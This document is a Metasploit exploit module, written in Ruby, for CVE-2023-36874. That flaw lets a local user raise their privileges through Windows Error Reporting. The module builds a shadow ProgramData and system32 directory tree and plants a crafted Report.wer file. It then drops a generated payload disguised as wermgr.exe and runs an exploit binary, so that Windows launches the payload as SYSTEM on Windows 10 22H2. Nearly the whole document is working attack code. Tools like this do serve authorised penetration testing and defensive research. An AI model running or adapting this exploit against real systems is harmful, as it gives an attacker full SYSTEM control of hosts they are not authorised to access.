Microsoft Error Reporting Local Privilege Elevation

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
include Msf::Post::Windows::Priv  
include Msf::Exploit::EXE  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',  
'Description' => %q{  
This module takes advantage of a bug in the way Windows error reporting opens the report  
parser. If you open a report, Windows uses a relative path to locate the rendering program.  
By creating a specific alternate directory structure, we can coerce Windows into opening an  
arbitrary executable as SYSTEM.  
If the current user is a local admin, the system will attempt impersonation and the exploit will  
fail.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Filip Dragović (Wh04m1001)', # PoC  
'Octoberfest7', # PoC  
'bwatters-r7' # msf module  
],  
'Platform' => ['win'],  
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],  
'Targets' => [  
[ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-07-11',  
'References' => [  
['CVE', '2023-36874'],  
['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],  
['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],  
['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_fs_delete_file  
stdapi_sys_config_getenv  
]  
}  
}  
)  
)  
  
register_options([  
OptString.new('EXPLOIT_NAME',  
[true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),  
OptString.new('REPORT_DIR',  
[true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),  
OptString.new('SHADOW_DRIVE',  
[true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),  
OptInt.new('EXECUTE_DELAY',  
[true, 'The number of seconds to delay between file upload and exploit launch', 3])  
])  
end  
  
# When we pass the directory value to the mkdir method, the mkdir method  
# passes the reference to the string containing the directory.  
# We do a lot of string manipulation in this module, so this is a quick  
# hack to make sure that despite what we do with the string after we create  
# the directory, it is the actual directory we created that gets sent to  
# the cleanup methods.  
def clone_mkdir(dir)  
mkdir(dir.clone)  
end  
  
def upload_error_report  
wer_archive_dir = get_env('PROGRAMDATA')  
vprint_status(wer_archive_dir)  
wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'  
report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"  
report_filename = "#{report_dir}\\Report.wer"  
vprint_status("Creating #{report_dir}")  
clone_mkdir(report_dir)  
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')  
vprint_status("Writing Report to #{report_filename}")  
write_file(report_filename, wer_report_data)  
end  
  
def build_shadow_archive_dir(shadow_base_dir)  
wer_archive_dir = shadow_base_dir  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << '\\ProgramData\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'Microsoft\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'Windows\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'WER\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'ReportArchive\\'  
clone_mkdir(wer_archive_dir)  
report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"  
clone_mkdir(report_dir)  
return report_dir  
end  
  
def upload_shadow_report(shadow_archive_dir)  
report_filename = "#{shadow_archive_dir}\\Report.wer"  
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')  
vprint_status("Writing bad Report to #{report_filename}")  
write_file(report_filename, wer_report_data)  
end  
  
def build_shadow_system32(shadow_base_dir)  
shadow_win32 = "#{shadow_base_dir}\\system32"  
vprint_status("Creating #{shadow_win32}")  
clone_mkdir(shadow_win32)  
return shadow_win32  
end  
  
def upload_payload(shadow_win32)  
payload_bin = generate_payload_exe  
payload_filename = "#{shadow_win32}\\wermgr.exe"  
vprint_status("Writing payload to #{payload_filename}")  
write_file(payload_filename, payload_bin)  
end  
  
def upload_execute_exploit(exploit_path, shadow_path, home_dir)  
vprint_status("shadow_path = #{shadow_path}")  
exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')  
write_file(exploit_path, exploit_bin)  
sleep datastore['EXECUTE_DELAY']  
vprint_status("Exploit uploaded to #{exploit_path}")  
cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"  
output = cmd_exec(cmd, nil, 30)  
vprint_status(output)  
end  
  
def check  
# This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.  
version = get_version_info  
vprint_status("OS version: #{version}")  
return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?  
fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?  
shadow_dir = datastore['SHADOW_DRIVE']  
home_dir = get_env('HOMEDRIVE')  
shadow_path = "#{home_dir}\\#{shadow_dir}"  
vprint_status("Shadow Path = #{shadow_path}")  
upload_error_report  
shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)  
upload_shadow_report(shadow_archive_dir)  
shadow_system32 = build_shadow_system32(shadow_path.dup)  
upload_payload(shadow_system32)  
sleep datastore['EXECUTE_DELAY']  
exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"  
exploit_path << '.exe' unless exploit_path[-4..] == '.exe'  
if shadow_dir.length > 64  
fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')  
end  
upload_execute_exploit(exploit_path, shadow_dir, home_dir)  
print_warning("Manual deletion of #{shadow_path} may be required")  
end  
end  
`